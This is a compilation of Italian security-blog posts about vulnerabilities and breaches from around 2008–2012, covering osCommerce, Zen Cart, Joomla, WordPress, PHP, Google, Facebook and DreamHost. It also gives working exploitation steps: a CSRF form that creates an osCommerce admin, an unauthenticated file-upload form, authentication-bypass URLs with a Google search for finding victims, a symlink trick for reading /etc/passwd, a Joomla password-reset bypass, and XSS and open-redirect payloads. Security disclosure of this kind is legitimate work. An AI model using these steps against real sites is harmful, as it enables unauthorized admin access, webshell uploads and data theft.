Il furto del codice ha interessato tutta la famiglia degli applicativi Symantec del 2006 ossia:

• Norton Antivirus Corporate Edition
• Norton Internet Security
• Norton SystemWorks (Norton Utilities and Norton GoBack)
• pcAnywhere

Al momento la vulnerabilità è nota solo per pcAnywhere e Symantec informa che chi ha avuto questo applicativo installato è stato esposto ad un rischio maggiore per tutto il tempo dell’attività del prodotto.

Tutti gli utenti di pcAnywhere sono quindi invitati a disabilitarlo o ad aggiornarlo all’ultima release.

Maggiori informazioni potete trovarle direttamente nel sito Symantec a questa pagina.

La vulnerabilità individuata da Stefan Esser consente di eseguire codice sulla macchina vittima con i privilegi dell’utente Web (remote code execution). Come riportato su SecurityTracker mandando dati manipolati al Php si può generare un errore nella memoria del php_register_variable_ex() consentendo di eseguire codice.

Per tutti coloro che amministrano Server è consigliabile provvedere ad aggiornare alla versione Php 5.3.10 quanto prima.

Qui trovate l’annuncio ufficiale di Php.

Recentemente sono state individuate alcune vulnerabilità tra le pagine dei Servizi di Google e FaceBook. Sono falle di tipo Open Redirect che permettono di effettuare un redirect senza necessità di manipolare stringhe o eseguire azioni particolari.

Open, infatti, sta ad indicare che il sito affetto da tale falla non effettua alcun controllo sull’input ed esegue il codice per cui è programmato sempre e comunque. Il vantaggio di poter sfruttare vulnerabilità come questa è quello di poter utilizzare url di domini di cui la gente non mette in dubbio la provenienza (Google appunto) per farli cliccare e redirettarli a siti di phishing o similari.

Immaginate l’utente medio che riceve un’email clone di Google che gli indica di cliccare  un  url del dominio “google.com” ed inserire i suoi dati per via di un qualche motivo plausibile. Quanti penserebbero che quell’url nasconda una minaccia?

In questo caso l’url affetto da tale vulnerabilità è appartenente al Servizio Google Accounts ed è il seguente:

https://accounts.google.com/o/oauth2/auth?redirect_uri=http://www.sitomalevolo.com

Allo stato attuale la falla è già stata risolta e provando un redirect verso capn3m0.org si ottiene un errore di “Bad Request”:

https://accounts.google.com/o/oauth2/auth?redirect_uri=www.capn3m0.org

Questa vulnerabilità è stata individuata da Ucha Gobejishvili aka longrifle0x che vanta solo nell’ultima settimana una serie di XSS in siti degni di nota: Google, Apple, Sony Ericcsson.

Sempre longrifle0x ha individuato una vulnerabilità XSS alla pagina delle Google App for Business. Per verificare la vulnerabilità è necessario andare all’url:

https://www.google.com/a/cpanel/premier/new3?hl=en

ed inserire nel campo “Domain” questo codice:

<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

Qui il suo “curriculum”!

La seconda vulnerabilità, individuata da ZeRtOx del gruppo Devitel, riguarda FaceBook ed è sempre di tipo Open Redirect. Il codice è il seguente:

http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.sitomalevolo.com

e attualmente è ancora presente come dimostra il link che rediretta a capn3m0.org:

http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.capn3m0.org

Infine segnalo una terza vulnerabilità Open Redirect sempre per i Servizi di Google: Ad Services. I banner di Adsense sono associati ad un url fatto nel seguente modo:

http://www.googleadservices.com/pagead/aclk?
sa=L
&ai=BCN0tjMAhT9ijEq2Q0QXP1tm2BKGTn-sB4e7Th0fAjbcB8IQOEAEYASCZ0NoLOABQg7et0Pn_____AWD98vyD3BCgAYfM69oDsgEPd3d3LmNhcG4zbTAub3JnugEKMzM2eDI4MF9hc8gBBNoBUWh0dHA6Ly93d3cuY2FwbjNtMC5vcmcvZmlsZXNoYXJpbmctcG9zdC1tZWdhdXBsb2FkLWNoaXVzaS1maWxlc29uaWMtdXBsb2FkZWQuaHRtbIACAbgCGMgC4afaFKgDAfUDAAAgwPUDAAAAEIgGAaAGBA
&num=1
&cid=5GhoQFqmzEdFESSc_Vjf5Gxi
&sig=AOD64_2aoaqhlTxnKAENG806XtTTXpAjFw
&client=ca-pub-XXXXXXXXXXXXXXXX
&adurl=http://www.sitomalevolo.com

I parametri che riceve in input devono essere tutti corretti ad eccezione del campo adurl che invece viene valorizzato con il link verso cui vogliamo che rediretti.

Come potete immaginare trovare un link con tutti i dati corretti è molto semplice. Basta navigare tra i siti che mostrano banner di Google AdSense e copiarsi il link.

Quest’ultima falla l’ho trovata ispirato dalle due precedenti mentre scrivevo l’articolo. Se conoscete chi ne ha parlato prima di me segnalatemelo che provvederò a mettere l’autore.

L’azienda ha provveduto ad effettuare un cambio password massivo che ha richiesto un po’ più del previsto dato che attualmente DreamHost gestisce oltre 1 milione di siti web. DreamHost ha anche pregato i propri Clienti di cambiare le password delle caselle email utilizzate come riferimento su DreamHost.

A questo link è possibile vedere gli aggiornamenti effettuati in tempo record da DreamHost:

http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/

dove si può riscontrare che l’intervento di cambio password è ormai terminato.

Questo il testo dell’email inviata ai Clienti:

 IMPORTANT INFORMATION: We are writing to let you know that there may have been illegal and unauthorized access to some of your passwords at DreamHost today. Our security systems detected the potential breach this morning and we immediately took the defensive precaution of expiring and resetting all FTP/shell access passwords for all DreamHost customers and their users. There are three different types of passwords at DreamHost: a Web panel password (for logging in to the panel), e-mail passwords, and FTP/shell access passwords. Only the FTP/shell access passwords appear to have been compromised by the illegal access. Web panel passwords, e-mail passwords, and billing information for DreamHost customers were not affected or accessed. Refer to the following DreamHost status post for details:http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/

IMPORTANT ACTION REQUIRED:

1. To create a new FTP/shell access password for your DreamHost account, please log in to your DreamHost Web panel (https://panel.dreamhost.com/), select “Manage Users” in the top left, then select “Edit” next to each user, and type in a new password. Make sure you click “Save Changes” at the bottom of the page.

2. We are also requesting that you change your e-mail password. We are not enforcing this change at this time as we do not believe that e-mail passwords were compromised. However we strongly recommend that you change your e-mail password as a precaution. To change the passwords for your e-mail users or yourself, log in to the DreamHost panel at (https://panel.dreamhost.com/), select “Manage Email” in the top left, select “Edit” next to each e-mail user address, and choose a new password for each. Make sure you click “Save Changes” at the bottom of the page.

We sincerely apologize for any inconvenience this may cause. If you have any additional questions about this process, please contact us through the support page in the panel.

Note that DreamHost will never ask you for personal or account information in an e-mail. Please exercise caution if you receive any other e-mails that ask for personal information or direct you to a Web site where you are asked to provide personal information.

Sincerely,

The DreamHost Team

Come spiega Simon Anderson, CEO di DreamHost, in risposta ad un cliente:

our systems have stored and used encrypted passwords for a number of years, however the hacker found a legacy pool of unencrypted FTP/shell passwords in a database table that we had not previously deleted. We’ve now confirmed that there are no more legacy unencrypted passwords in our systems. And we’re investigating further measures to ensure security of passwords including when a customer requests their password by email (this was not the issue here, though). Re your shell accounts, I’d suggest that you select a new password just to be sure.

l’hacker ha avuto accesso ad una Tabella di un Database che per errore conteneva alcuni account Ftp e Shell non criptati che han poi permesso l’accesso a tutti i dati dei Clienti.

Per ora non ci sono state azioni/attacchi massivi verso gli account hackerati  e con il cambio password e la patch della vulnerabilità il problema dovrebbe essere risolto!

La protesta di internet negli ultimi giorni sta creando parecchi grattacapi ai sistemisti di Server “importanti”. La settimana scorsa l’Alpha_Team si era dichiarato al mondo rilasciando una lista di siti istituzionali di cui avevano violato i Database. Tra questi vari siti c’era “italia.gov.it” che dopo l’attenzione ricevuta da parte dell’Alpha_Team ieri è stata vittima di un secondo attacco di tipo DDOS questa volta firmato dal noto movimento di protesta on line Anonymous.

Come loro solito hanno pubblicato alcune delle informazioni sottratte dalle quali si riscontra che l’attacco anche in questo caso è stato di tipo Sql Injection. L’Alpha_Team non ha rilasciato informazioni in merito ma analizzando il dump a questo link si possono leggere l’information schema e alcuni records di varie tabelle del Database del sito della Banca.

Come potete vedere le Tabelle alle quali hanno avuto accesso sono tutte relative al sito e riguardano le varie aree dello stesso (le proposte on line, l’elenco delle news,etc) mentre altre sono invece a uso interno dei dipendenti/sistemisti come i dati di accesso delle caselle email o la lista degli utenti del sito, Administrator incluso.

Di queste notizie, come al solito, pochi parlano e le stesse vittime non comunicano nulla sull’attacco. Né sui loro siti né ai loro Clienti.

Se oltre questo fatto, già grave, si aggiunge che, come abbiamo visto nell’intervista all’Alpha_Team, le falle di sicurezza non vengono corrette di sicuro il quadro generale della sicurezza informatica in Italia non ne esce positivo. Almeno per quelle “grandi” società dove ci si aspetta che la sicurezza sia un punto di forza!

Proprio qualche giorno fa avevamo intervistato l’Alpha_Team, una crew di giovani ragazzi italiani che sfruttando una vulnerabilità Sql Injection aveva avuto accesso ed eseguito un dump sempre del sito italia.gov.it. A questo articolo potete trovare maggiori informazioni e il dump in questione.

Anonymous con il comunicato pubblicato stamani reperibile qui accusa il neo Governo Italiano di aver fatto bei discorsi ma pochi fatti:

Il nuovo governo si è presentato con l’aspetto frigido di chi non avendo mai praticato la politica dovrebbe risultare esente dalle tentazioni che noi italiani ben conosciamo.

Sventolando parole a lungo agognate quali equità, giustizia sociale e rigore. Ebbene di queste non s’è ancora vista l’ombra, escluso il contegno con cui vi presentate ai media. Sappiate che siete sotto osservazione da più parti, e che non basteranno quattro buoni propositi.

[...]

Anonymous e tutti i cittadini liberi e consapevoli non resteranno a guardare.

Con questo comunicato e per tali motivazioni Anonymous informa che tornerà all’attacco e, dopo il DDOS odierno lancia l’operazione #Operation Italy o #OpItaly per il giorno 13 Febbraio 2012. L’obiettivo dell’attacco non è stato ancora deciso e verrà reso noto solo poco prima tramite gli hastag Twitter indicati in precedenza come accaduto oggi.

Aspettiamo il 13 Febbraio e vediamo cosa succede.

Keep in touch.

Per gli sviluppatori di OsCommerce è davverò un brutto periodo dato che in neanche un mese tutti le versioni attualmente “stabili” sono state bucate da molteplici vulnerabilità. Nella release specifica, che ripetiamo si tratta di una alpha, sono state individuate vulnerabilità di tipo Xss, Full Path Disclosure, Local File Inclusion e XSRF.

La Full Path Disclosure consiste nell’interrogare alcuni file del Template di OsCommerce che, andando in errore, mostrano a video la full path della loro posizione sul Server. Con questa sola informazione si può fare poco ma, anche in questo caso, se unita ad altri tipi di attacchi diventa una utile informazione. La XSS permette di iniettare codice JavaScript sfruttando una falla del file “products.php” mentre la Local File Inclusion consente di richiamare file presenti sul Server sfruttando la procedura di disinstallazione moduli del Cms che non verifica opportunamente i parametri passati e permette di accettare in input qualsiasi path raggiungibile.

Anche in questo caso c’è una falla più grave delle altre e a mio avviso è la XSRF che permette di inviare comandi all’applicativo senza che questi vengano verificati in alcun modo. Nel caso specifico sarà possibile creare un nuovo Admin sull’OsCommerce.

Basterà creare una pagina “.html” contenente il seguente codice:

<html>
<body>
<form action="http://<sito vittima>/admin/index.php?administrators&action=save" method="post">
<input type="text" name="user_name" value="<nomeutente>">
<input type="text" name="user_password" value="<password>">
<input type="text" name="modules[]" value="0?>
<input type="hidden" name="subaction" value="confirm"/>
<input type="submit" value="Save">
</form>
</body>
</html>

Ovviamente dovrete sostituire i seguenti parametri:

<sito vittima> con il dominio del sito in cui si vuole creare l’account

<nomeutente> con il nome utente del nuovo Admin

<password> con la password da associare al nuovo Admin

Una volta creata la pagina richiamatela dal vostro Browser e cliccate su “Save”.

Se tutto è andato a buon fine accedendo all’url:

http://<sito vittima>/admin/

potrete loggarvi come Admin con i dati appena inseriti.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

osCommerce v3.0a5 [ Multiple Vulnerabilities ]

La versione vulnerabile è l’ultima disponibile ossia la 1.3.9h e presenta vulnerabilità di vario tipo: Full Path Disclosure, Reflected XSS, Stored XSS e Arbitrary File Upload.

La vulnerabilità Full Path Disclosure permette, se la gestione degli errori è configurata per mostrarli a video, di conoscere la path assoluta dell’applicativo. Di per sé non è una falla che consente di effettuare alcun tipo di azione ma l’informazione che si ottiene potrebbe essere utile se unita ad attacchi che vanno a scrivere sul FileSystem o similari. Le due XSS, invece, non affliggono l’attuale 1.3.9h ma tutte le versioni precedenti. Le vulnerabilità sono localizzate nel campo “Quantità” del carrello che permette l‘injection di codice XSS e nell’Area Amministrativa “Location/Taxes”. Per quest’ultima, quindi, si presume che si abbia già l’accesso Admin.

L’ultima vulnerabilità, la più grave, riguarda invece il componente Banner (banner_manager.php) che, così come per OsCommerce, permette di effettuare l’upload di files che verranno salvati nella cartella “images”.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

Zen Cart <= v.1.3.9h [ Multiple Vulnerabilities ]

A distanza di 2 anni i programmatori, dopo una lunga latitanza, hanno rilasciato 2 nuove versioni: la 2.3.1 e la nuova 3.0.1. Il rilascio delle due nuove versioni non ha avuto molto risalto e tra gli utilizzatori di questo applicativo pochi hanno provveduto ad aggiornare.

Lo scorso 14 Maggio, però, è stata scoperta una nuova falla (purtoppo molto simile alla precedente) che permette l’upload di files nella cartella “/images” senza dover utilizzare tecniche particolari o rubare i dati di Amministratore.

Come riportato qui il componente Banner (banner_manager.php) della nuova versione 2.3.1 di OsCommerce soffre di una vulnerabilità che consente di uploadare files sul sito “vittima” semplicemente creando sul proprio PC una pagina html con il seguente codice:

<form name=”new_banner” action=”http://site/path/admin/banner_manager.php/login.php?action=insert” method=”post” enctype=”multipart/form-data”><br>
<input type=”file” name=”banners_image”><br>
<input name=”submit” value=” Save ” type=”submit”></form>

Basterà sostituire a “site/path” il dominio e l’eventuale sottocartella del sito basato su questo Cms e salvare il file in formato “.html”.

Apritelo con il vostro Browser e vi troverete davanti un form di upload file.

Scegliete il vostro file e fate l’upload; una volta terminata l’operazione potrete interrogare il file richiamando l’url nel seguente modo:

http://site/path/images/<fileinviato.php>

Analizzando alcuni casi di utilizzo di questa vulnerabilità ho riscontrato casi di iniezione di virus/malware come già riscontrato sempre nel 2009.

Non appena avrò maggiori informazioni provvederò a tenervi aggiornati.

La vulnerabilità è particolarmente grave perchè colpisce piú del 99% dei device attivi, ne risultano immuni infatti solo le versioni Gingerbread 2.3.4 e Honeycomb 3.0 e 3.1.
Per fortuna, in attesa di ricevere il fix nei prossimi giorni gli utenti potranno comunque proteggersi mettendo in pratica alcuni accorgimenti.
Il problema di sicurezza si verifica solo se un utente si collega ad una rete wifi libera, quindi chiunque si connetta abitualmente ad hotspot o lo abbia fatto di recente farebbe meglio a disattivare l’opzione di connessione automatica alle reti wifi ed eliminando il consenso a quelle utilizzate di recente, nel caso la rete free fosse di proprietà il consiglio é ovviamente quello di impostare una protezione, ma questo é una buona norma sempre, non solo in casi di vulnerabilità come quella di cui stiamo parlando in questo articolo.
Allo stato attuale, in attesa della patch di Google, il rischio che si corre é quello che un utente non autorizzato possa accedere ai nostri dati contenuti nel calendario e nei contatti di Android perché lo scambio di autorizzazione tra il client e server non avviene tramite protocollo https (Hyper Text Transfer Protocol Secure), ma tramite semplice http.
Tuttavia Google sta valutando anche la connessione alle librerie di Picasa che sembrerebbero anch’esse affette dalla stessa vulnerabilità, un motivo in piú per diffidare delle reti aperte fino a che non sarà cessato del tutto questo giustificato allarme.

Per Joomla, che attualmente sta portando avanti le due famiglie 1.5.x e 1.6.x sono state rilasciate le versioni 1.5.23 e 1.6.3 (c’è stata anche una 1.6.2 che ha avuto una vita molto breve).

La 1.5.23 è una security release in quanto una vulnerabilità nelle precedenti versioni permetteva di generare un errore che printava a video la path assoluta del sito (Information Disclosure). Era una informazione in più in mano all’eventuale hacker ma nulla di realmente pericoloso.

Joomla 1.5.23

Le versione 1.6.3, invece, è una bug fix che risolve alcuni problemi emersi con questa nuova versione.

Al link sottostante potrete trovare maggiori informazioni e consultando il Changelog potrete leggere tutte le modifiche/correzioni che sono state apportate.

Joomla 1.6.3

Per quanto riguarda WordPress, invece, sono state rilasciate a distanza di pochi giorni le versioni 3.1.1 e, l’ultima, la 3.1.2 che corregge una vulnerabilità (security release) che permetteva agli utenti “Contributor” di postare bypassando la fase di revisione obbligatoria da parte dell’Admin.

WordPress 3.1.2

Si consiglia a tutti di effettuare gli upgrade dei propri Cms e, soprattutto, di monitorare costantemente la pubblicazione di nuove release, soprattutto quando si tratta di security release

Read the original:
Microsoft, patch day da record

Source: Webnews

Read the original here:
Servizio delle Iene sulla Sicurezza Informatica di un Provider Italiano

Original post:
「Neuromancer」Hacking sites with Joomla (Universidade USP)

Ciao a tutti, dopo diverso tempo dall’ultimo post pubblico una vulnerabilità che potrà creare non pochi problemi agli utilizzatori del noto Cms Joomla.

E’ stata pubblicata da poco una vulnerabilità di tipo XSS per tutte le versioni < =1.5.20, ossia tutte le versioni attualmente pubblicate.

Tale exploit sfrutta una falla nella verifica delle variabili GET encodate eseguendo quindi il codice Javascript che si passa all’applicativo.

Full Discolsure Advisories

Al seguente video si potrà vedere un Proof of Concept dell’attacco Xss.

Proof of Concept by yehg.net

Un malintenzionato potrebbe sfruttare tale falla per rubare i cookie degli utenti loggati, Administrator compreso, e sfruttarli per modificare pagine o uploadare shell malevole che permetterebbero qualsiasi operazione nello spazio del sito vittima. Una volta rubati i cookie di Admin, infatti, basterà andare nella pagina di edit di uno dei template di default, di solito ‘beez’, e successivamente editare la pagina con il codice di una shell php quali c99 o r57.

Provvedero’ ad aggiornare il post quanto prima con tutti i riferimenti e i dettagli (sono in treno con l’app WordPress per Blackberry ).

AGGIORNAMENTO #1
Lo staff di Joomla ha provveduto a rilasciare la nuova versione dove tale problema e’ stato fixato.

Chiunque utilizzi questo Cms e’ invitato ad effettuare l’upgrade alla versione 1.5.21

Joomla 1.5.21 – Official Site

Joomla Security News

Di fatto questa vulnerabilità da la possibilità di leggere aree/file del WebServer non autorizzate quali il file “/etc/passwd” e similari.

L’applicazione pratica e più semplice di tale vulnerabilità è il seguente codice:

< ?php
 symlink("/etc/passwd", "prova.txt");
 ?>

Se il “safe_mode” del Php era disabilitato nel proprio spazio sarebbe stato creato un link simbolico dal nome “prova.txt” che puntava al contenuto di “/etc/passwd”. In questo modo richiamando dal browser il link simbolico nel seguente modo:

http://<dominio>/prova.txt

avremmo visualizzato a video il contenuto del file “/etc/passwd”. A seconda dell’Hosting questo file può contenere anche le password dell’account web del Cliente e pertanto la gravità della vulnerabilità è elevata.

Nel caso, invece, il safe_mode del Php fosse stato attivo sarebbe stato visualizzato un messaggio di errore che indicava l’impossibilità di eseguire l’operazione a causa della mancanza dei permessi di accesso al file “/etc/passwd”.

Ho provato ad applicare questa tecnica su diversi Hosting dove ho sitarelli o spazi per fare dei test e in base ad alcune configurazioni di sicurezza (privilegi, followsymlink,etc.) si poteva o meno accedere a dati sensibili come, per esempio, visualizzare i file di configurazione di altri domini presenti sullo stesso server dove siamo noi.

Questa vulnerabilità del Php ha fatto nascere alcune discussioni legate ai vari attacchi di massa che si sono verificati lo scorso anno su vari Hosting condivisi noti e meno noti. Dal mio punto di vista è plausibile pensare, quindi, che questa falla abbia dato la possibilità di accedere e violare centinaia di spazi Web rubando informazioni preziose per eventuali ulteriori attacchi.

Link correlati:

Exploit

PHP 5.2.12/5.3.1 symlink() open_basedir bypass – SecurityReason.com

Symlink Attack – HTML.it

Come potrete verificare personalmente tramite questo Proof Of Concept basterà richiamare l’url dell’Area Admin con una particolare sintassi e il gioco è fatto e si potranno visionare gli ordini, i clienti, le email.

Già verso agosto fu scoperta una grave falla nel meccanismo di autenticazione che consentiva, tramite opportune interrogazioni HTTP (http request) di eseguire comandi lato server e, sfruttando alcuni file dell’osCommerce stesso,  di uploadare file, shell etc.

Per maggiori informazioni circa questa vulnerabilità andate a questo link.

Per quanto riguarda la falla di cui vi parlo oggi vi illustro di seguito come sfruttarla e quali informazioni si possono ottenere. Per prima cosa è necessario trovare un “sito vittima“  e per fare questo ci viene incontro, ancora una volta, Google!

Cercate su Google la seguente stringa:

“Powered by OsCommerce”

(compresa di virgolette)

In questo modo il Motore di Ricerca ci mostrerà solo i siti che contengono esattamente quella frase e, quindi, con molta probabilità siti basati su OsCommerce.

A questo punto aprite qualche sito e verificate se richiamando l’area “admin” vi viene mostrata correttamente la pagina di login.

L’area admin di default è raggiungibile al seguente url:

http://<dominio_con_oscommerce>/admin

Se l’Admin non ha cambiato il nome della cartella vi apparirà una schermata simile a questa.

A questo punto si sfrutterà la vulnerabilità nell’autenticazione per bypassarla semplicemente digitando i seguenti url:

/admin/orders.php/login.php
/admin/mail.php/login.php
/admin/mail.php/login.php?fooled
/admin/mail.php/login.php?action=send_email_to_user

Cosa succede richiamando questi url? (a voi scoprirlo!)

Si accederà in visualizzazione alle funzionalità di quei file e quindi, nell’esempio citato sopra, si potranno leggere gli ordini e vedere i clienti con le relative email.

Questo articolo è solamente un Proof Of Concept e pertanto non deve portare ad alcuna azione malevola.

Per chi utilizza OsCommerce consiglio o di valutare il passaggio a tutt’altro applicativo, visto anche che il progetto è ormai fermo, oppure di andare sul Forum di OsCommerce dove suggeriscono una semplice ma efficace (?) fix al problema.

Link correlati:

OS Commerce authentication bypass by Stuart Udall

Post dal Forum di OsCommerce

La prima è una vulnerabilità del componente “Press This” (Pubblicalo in italiano) scoperta da Benjamin Flesch che permetteva di eseguire XSS (Cross Site Scripting) agli utenti registrati con privilegi di pubblicazione.

La seconda, invece, è stata scoperta da Dawid Golunski e consentiva di aggirare le limitazioni ai nomi dei file in determinate configurazioni Apache.

In attesa della versione WordPress 2.9 consiglio a tutti di provvedere ad aggiornare la propria versione tramite la funzione di “Aggiornamento Automatico” che verrà suggerita non appena entrerete nella vostra Bacheca.

Il 9 febbraio scorso nel post titolato “18446744073709551615 – Un nuovo hack in arrivo?” avevo descritto un hacking che stava avvenendo in centinaia di siti di hosting italiani e stranieri che non aveva un apparente denominatore comune.

Infatti all’epoca non si spiegava se venivano sfruttate vulnerabilità dell’applicativo in uso sul proprio dominio (in Rete in questi ultimi giorni c’è un gran parlare sulla possibilità che sia WordPress la causa) o se si trattasse di uno stealing di account ma alla luce di quanto analizzato a febbraio e quanto analizzato in questi giorni vi sono in rete diverse “testimonianze” di siti hackerati che con molta probabilità non hanno vulnerabilità in quanto basati su semplici pagine html statiche.

Alcune “vittime” mi han contattato privatamente e mi hanno fornito informazioni per poter delineare meglio questo hack.

Ricordo a chi legge questo Blog per la prima volta che nel post precedente chiamato volutamente “Un nuovo hack in arrivo?” segnalavo come le azioni di febbraio apparivano più come un “giro di test” che come un’azione a fini malevoli quale è, invece, in questi giorni. A febbraio numerosi siti subirono un hack atipico poiché i siti vittima non venivano alterati o infettati da virus/trojan ma, semplicemente, mostravano il numero “18446744073709551615” a pié di pagina e nel codice si poteva individuare la dichiarazione di una funzione dal nome “ob_start(“security_update”)“. Questo, dal mio punto di vista, poteva essere interpretato come un marcatore tramite il quale chi attacca può farsi un’idea di quanti potenziali vittime potrebbe colpire.

Le vulnerabilità sono di due tipi: Blind SQL Injection e Remote Code Execution.

Tale vulnerabilità è stata riportata da Milworm e questo è l’indirizzo dell’Exploit.

Egix, lo scopritore di tale vulnerabilità riporta anche un fix da applicare al file “php-stats.recjs.php” al fine di correggere tale falla di sicurezza.

Per fixare il vostro Php-Stats aprite il file “php-stats.recjs.php” e posizionatevi alla Riga 94. Troverete il seguente codice:

if(isset($_GET['ip'])) $ip=urldecode($_GET['ip']); else break;

che andrà sostituito con questo:

if(isset($_GET['ip'])) $ip=intval(urldecode($_GET['ip'])); else break;

Come sempre eccovi il file già fixato:

Fix Php-Stats 0.1.9.2

Questo l’Exploit pubblicato su Milw0rm:

Name: SMF 1.1.6 Filter Post Bypass
Author: WHK
WebSite: http://www.jccharry.com/

en{
The data in a post are not filtered properly when someone enters
statements BBCode wrong without content that a user can enter
words banned by the system of restrictions by allowing expose
SPAM content, and so on.
}

es{
Los datos en un post no son filtrados adecuadamente cuando alguien
ingresa declaraciones bbcode sin contenido probocando que un
usuario pueda ingresar palabras prohibidas por el sistema de
restricciones permitiendo exponer contenido SPAM, etc.
}

Example of a post / Ejemplo de un post:

——————————————————————
[color=red][size=20pt]Fu[url][/url]ck you admin![/size][/color]

My SPAM: [b]ht[b][/b]tp://www.jc[i][/i]charry.com/[/b] >:D
——————————————————————

Demo:

http://www.jccharry.com/archivos_publicos/smf_filter_post_bypass.png

# milw0rm.com [2008-10-04]

Viene spiegato che “…i dati in un post non vengono filtrati correttamente quando vengono inseriti alcuni tag BBCode errati permettendo così di inserire parole (o tutto ciò che è ritenuto SPAM) bypassando il Filtro AntiSpam..“.

L’autore dell’exploit, tale WHK, allega poi l’immagine seguente dove riporta sia il metodo con cui ha inserito il testo ed i BBcode nel Post, sia il risultato finale.

Esempio pubblicato dall'autore

Al link seguente troverete l’annuncio ufficiale:

http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html

Questo, invece, quello dal Sito Italiano:

http://www.joomlaitalia.com/content/view/323/90/

Sfruttare tale vulnerabilità risulta alquanto semplice poiché bastano pochi semplici passaggi per eseguire il reset:

1) Una volta individuato il Sito in Joomla caricare questo Url:

/index.php?option=com_user&view=reset&layout=confirm

2) A questo punto apparirà un form che chiederà l’inserimento di un codice che, teoricamente, avreste dovuto ricevere in mail

3) Inserite l’apice (‘) come carattere continuate

4) A questo punto avrete il campo di cambio password e, inserendola, editerete direttamente il profilo Administrator

Il supporto Joomla individuata la vulnerabilità (la variabile token non veniva correttamente verificata) ha provveduto a rilasciare in tempi da record la versione 1.5.6 con tale problema fixato. Dalla sua uscita sono stati scoperti ulteriori vulnerabilità che han portato alla release 1.5.7 in pochi giorni:

Potete scaricare dai seguenti link questa versione:

Joomla 1.5.7 Full Eng

Joomla 1.5.7 Full Ita

Per chi avesse subito un’hacking sfruttando questa vulnerabilità consiglio di aggiornare a questa versione e, nel caso siano ancora visibili “tracce” (home page cambiate) dell’hacker ho notato, per esperienza, che le pagine maggiormente colpite sono 3:

• configuration.php
• index.php (del template attivo nel Cms)
• la cartella “cache” (consiglio di svuotarla)

Provvedete a ripristinare le originali e il problema è risolto.

Dato che trovere il vostro account Admin non accessibile visto che è stata cambiata la password sarà necessario effettuare l’accesso direttamente al PhpMyAdmin e riscrivere la password nel Database.

Una guida a questa operazione la potete trovare qui.

Per chi non avesse sbattimento ho fatto uno scriptino veloce veloce che fa la stessa cosa. Basta copiare il file nella root della vostra installazione Joomla, richiamarlo da Browser e impostare la password.

Il file lo potete scaricare dal seguente link:

Joomla Change Admin Password

Infine, x chi ha molto sbattimento, di seguito la guida a come fixare tale vulnerabilità manualmente.

1. Aprire il file “/components/com_user/models/reset.php”
2. Posizionarsi alla riga 113 dopo la riga “global $mainframe;” ed inserire il seguente codice
   

   if(strlen($token) != 32) {
   $this->setError(JText::_(‘INVALID_TOKEN’));
   return false;
   }

3. Fine dei giochi!